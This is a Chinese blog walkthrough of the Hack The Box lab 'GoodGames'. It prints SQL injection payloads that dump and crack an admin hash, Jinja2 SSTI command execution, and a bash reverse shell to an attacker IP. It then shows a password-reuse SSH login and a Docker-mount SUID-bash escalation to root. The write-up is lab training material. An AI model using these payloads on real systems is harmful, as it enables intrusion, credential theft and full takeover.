【HTB】GoodGame

前言

之前打了很多墨者,也考完PTE,发现单纯的做墨者还是太简单了,墨者还是比较适合巩固知识点,所以在朋友的推荐下,准备打HTB(Hack The Box),难是真的难,但是收获是真的多

参考地址:https://0xdf.gitlab.io/2022/02/23/htb-goodgames.html

正文

有关连接

由于是纯英文,在环境配置上还有点小问题,首先在右上角头像那,打开Class HTB,新版找不到环境配置选项,还是去旧版

image

然后在左边栏目里面打开Labs的Access,将安装包下载后移到kali,然后在里面打开openvpn

image

每次打开靶场都要开启openvpn,同时不能关,要一直保持连接才行,连接情况可以看右边这个框,有关勾就是成功的

image

随后打开kali,在里面输入以下网址,即可进入目标网站进行渗透测试

image

信息搜集

nmap扫描

nmap进行主机扫描,获取开放端口

nmap -p- -T4 --min-rate 10000 -oA nmap-alltcp 10.10.11.130 -Pn -n -v

参数解释

-p-:代表1-65535的所有端口
-T<1-5>:设置时序模块,越高越快
--min-rate:最小发包速率
-oA:将nmap的输出格式保存为所有格式
nmap-alltcp:进行全tcp扫描
-Pn:将所有主机都默认为在线,跳过主机发现
-n:不做DNS解析
-v:增加详细程度

只扫到一个80端口

image

然后观察网站信息,通过burp抓包后的回包,发现网络服务器标识为“Werkzeug/2.0.2 Python/3.9.2”

image

Werkzeug是一个基于python的web开发的工具包,不是web服务器,也不是web框架,许多python框架,如flask就是以它作为底层库

目录爆破

/etc/hosts 中添加域名解析

10.10.11.130 goodgames.htb

本来想用feroxbuster或者wfuzz进行目录爆破,但是都要自己导入字典,嫌麻烦还是选择dirsearch,自带字典且支持导入

feroxbuster

# 字典保存在/usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt
feroxbuster -u http://goodgames.htb

dirsearch

dirsearch -u http://goodgames.htb

feroxbuster可以多层目录爆破,但是dirsearch默认只有一层

image

也没有什么重要的信息

发现漏洞

SQL注入

页面右上角有一个小人的logo,是一个登陆界面

image

在注册后登陆时抓包,感觉应该有SQL注入的漏洞

image

在email那边有单引号注入

' or 1=1 #

image

获得回显为4

' union select 1,2,3,4 #

image

获得库名为 main

' union select 1,2,3,database() #

image

获得表名为 blog,blog_comments,user

' union select 1,2,3,group_concat(table_name) from information_schema.tables where table_schema=database() #

image

获取user的列名为 id,email,password,name

' union select 1,2,3,group_concat(column_name) from information_schema.columns where table_name='user' #

image

获得管理员账号 admin@goodgames.htb,2b22337f218b2d82dfc3b6f77e7cb8ec

image

md5解密获得管理员明文密码 superadministrator

image

登陆进来后发现有一个多的小齿轮

image

修改 /etc/hosts ,添加域名解析后,进入如下界面,账号密码和之前一样

10.10.11.130     [internal-administration.goodgames.htb](http://internal-administration.goodgames.htb/)

image

进去后如下页面,随便点点发现功能都没用,但是网页title是Flask,所以尝试是否有SSTI注入

image

在该页面到处点,只有修改用户名的功能

image

尝试再次给出有效载荷 {{12*12}},名称更新,此处可以SSTI攻击

image

执行POC,得知权限为root(具体有关SSTI的知识可以参看以下两篇文章,本人才疏学浅,目前尚未深入了解该方面知识)

https://www.cnblogs.com/bmjoker/p/13508538.html
https://www.guildhab.top/2019/10/flask-jinja2-ssti-python-沙箱逃逸/

{{ namespace.__init__.__globals__.os.popen('id').read() }}

通过os模块的popen执行系统命令,获得当前用户和组信息

image

此服务器是Linux系统,通过nc反弹shell

{{ namespace.__init__.__globals__.os.popen('bash -c "bash -i >& /dev/tcp/10.10.14.35/443 0>&1"').read() }}

bash -c后面跟系统命令,双引号内为反弹shell命令,0>&1表示将标准输入重定向到正确输入文件(远程);通过openvpn连接,此时我们的ip为10.10.14.26,反弹到我们的443端口上

image

通过nc开启监听,获取shell

nc -lnvp 443

image

通过慢慢查看找到home里面有个augustus用户,下面有user.txt,打开后并不是flag

image

此时 ifconfig 发现还有一个172.19.0.2的ip,而我又是root,推测不是主机

image

在passwd中查看该用户,发现没有,推测是在docker里

cat /etc/passwd | grep augustus

image

mount命令查看挂载,表明此主目录以及从主机安装到容器中

mount | grep augustus

image

C端扫描

对当前网段进行扫描

for i in {1..254}; do (ping -c 1 172.19.0.${i} | grep "bytes from" | grep -v "Unreachable" &); done;

对C端进行扫描,挑出bytes from的字段,去掉Unreachable字段

image

明显知道,172.19.0.1为Docker主机

快速扫描端口,显示监听22和80端口

for port in {1..65535}; do echo > /dev/tcp/172.19.0.1/$port && echo "$port open"; done 2>/dev/null

image

检查密码复用,发现一直报错

ssh augustus@172.19.0.1

image

百度后可知,Pseudo-terminal will not be allocated because stdin is not a terminal.的字面意思是伪终端将无法分配,因为标准输入不是终端,简单说就是nc这种只是伪终端,需要把输入变成真正的终端

使用 script 技巧获得终端

# 在nc界面输入如下
script /dev/null -c bash
# Ctrl+Z任务挂起后回到本机,输入如下将其切回前台
stty raw -echo; fg
# 重启
reset
# 选择类型
screen

image

script表示记录屏幕输入的内容,/dev/null可以理解为一个黑洞,可以无限丢东西进去,script /dev/null 合起来可以理解为创建一个终端,权限属于当前用户;也可以理解为 记录屏幕上输入的内容,写入/dev/null中,同时将其当作命令执行

SSH连接

重新进行SSH远程连接,用户因为只找到一个augustus,密码和后台密码一样,登陆成功!

ssh augustus@172.19.0.1

image

查看内网主机所有地址,发现IP匹配

augustus@GoodGames:~$ hostname -I
10.10.11.130 172.19.0.1 172.17.0.1

从进程角度看,Docker也确实在进程列表中

augustus@GoodGames:~$ ps auxww | grep docker
root       879  0.0  2.0 1457176 83924 ?       Ssl  06:01   0:07 /usr/bin/dockerd -H fd:// --containerd=/run/containerd/containerd.sock
root      1253  0.0  0.2 1148904 9444 ?        Sl   06:01   0:00 /usr/bin/docker-proxy -proto tcp -host-ip 127.0.0.1 -host-port 8085 -container-ip 172.19.0.2 -container-port 8085

在主目录和Docker目录中发现基本一样,只间隔一小时

augustus@GoodGames:~$ ls -la
total 24
drwxr-xr-x 2 augustus augustus 4096 Dec  2 23:51 .
drwxr-xr-x 3 root     root     4096 Oct 19 12:16 ..
lrwxrwxrwx 1 root     root        9 Nov  3 10:16 .bash_history -> /dev/null
-rw-r--r-- 1 augustus augustus  220 Oct 19 12:16 .bash_logout
-rw-r--r-- 1 augustus augustus 3526 Oct 19 12:16 .bashrc
-rw-r--r-- 1 augustus augustus  807 Oct 19 12:16 .profile
-rw-r----- 1 root     augustus   33 Mar 15 06:01 user.txt
—————————————————————————————————————————————————————————————————————————————
root@3a453ab39d3d:/home/augustus# ls -la
ls -la
total 24
drwxr-xr-x 2 1000 1000 4096 Dec  2 23:51 .
drwxr-xr-x 1 root root 4096 Nov  5 15:23 ..
lrwxrwxrwx 1 root root    9 Nov  3 10:16 .bash_history -> /dev/null
-rw-r--r-- 1 1000 1000  220 Oct 19 11:16 .bash_logout
-rw-r--r-- 1 1000 1000 3526 Oct 19 11:16 .bashrc
-rw-r--r-- 1 1000 1000  807 Oct 19 11:16 .profile
-rw-r----- 1 root 1000   33 Mar 15 06:01 user.txt

然后各自创建文件,发现在容器和主机创建的文件互相可见,但是容器创建的文件在主机上是root权限!!!

image

/bin/bash文件从主机上cp到container上

cp /bin/bash ./

注意此时双方都在 /home/augustus 文件夹中

在容器中修改该文件的权限,同时修改SUID

root@3a453ab39d3d:/home/augustus# ls -l bash
-rwxr-xr-x 1 1000 1000 1234376 Mar 15 12:40 bash
root@3a453ab39d3d:/home/augustus# chown root:root bash
root@3a453ab39d3d:/home/augustus# chmod 4777 bash
-rwsrwxrwx 1 root root 1234376 Mar 15 12:40 bash

将从主机拷贝的bash文件的权限修改为root用户和root组,这样在主机里查看时也是root权限,同时chmod的第一个4,表示可执行文件执行时,拥有文件所有者的权限

image

此时的关键就是让bash变成可执行文件,这样才能拥有文件所有者,也就是root权限,运行它,返回一个root shell

./bash -p

搜索root目录,拿到flag

image

参考资料作者遇到的坑

正常cp文件时,应该是将主机文件cp到容器下,但作者在cp文件时,尝试将容器的bash文件cp到主机中,后来的一切都正常,但是 ./bash -p 就是无法执行,出错原因为

 ./bash: error while loading shared libraries: libtinfo.so.5: cannot open shared object file: No such file or directo 

翻译就是缺一个 libtinfo.so.5 的二进制文件,通过运行ldd命令查看其依赖的共享库文件,发现没有 libtinfo.so.5 的二进制文件

augustus@GoodGames:~$ ldd bash 
        linux-vdso.so.1 (0x00007ffc64194000)
        libtinfo.so.5 => not found
        libdl.so.2 => /lib/x86_64-linux-gnu/libdl.so.2 (0x00007fa964fc8000)
        libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007fa964e03000)
        /lib64/ld-linux-x86-64.so.2 (0x00007fa964fd7000)

它清楚地表明libtinfo.so.5没有找到。bash主机上的标准二进制文件正在使用libtinfo.so.6

augustus@GoodGames:~$ ldd /bin/bash
linux-vdso.so.1 (0x00007ffd31e97000)
libtinfo.so.6 => /lib/x86_64-linux-gnu/libtinfo.so.6 (0x00007f28239dd000)
libdl.so.2 => /lib/x86_64-linux-gnu/libdl.so.2 (0x00007f28239d7000)
libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007f2823812000)
/lib64/ld-linux-x86-64.so.2 (0x00007f2823b4e000)

总结

一个朋友推荐我去试试综合的靶场,也就是这个Hack the box,前前后后断断续续打了3天,非常有收获,同时在实战中也收获了一切旁支的知识,也算是痛并快乐着

不过Hack the box有些小问题需要注意:首先是网上的注册码问题,之前要自己找注册码进行填写,但是新版不要;然后就是收费VIP问题,它是两周更换一次靶场,之前的靶场和一些收费靶场将只有VIP才能打,换之后的和其他的是免费的,如果在换之前开了一个靶场,但是打完刚好换掉了,是无法提交Flag的,会显示Unauthorized,希望对该靶场感兴趣的小伙伴要注意

posted @ 2022-03-20 11:51  icui4cu  阅读(474)  评论(0编辑  收藏  举报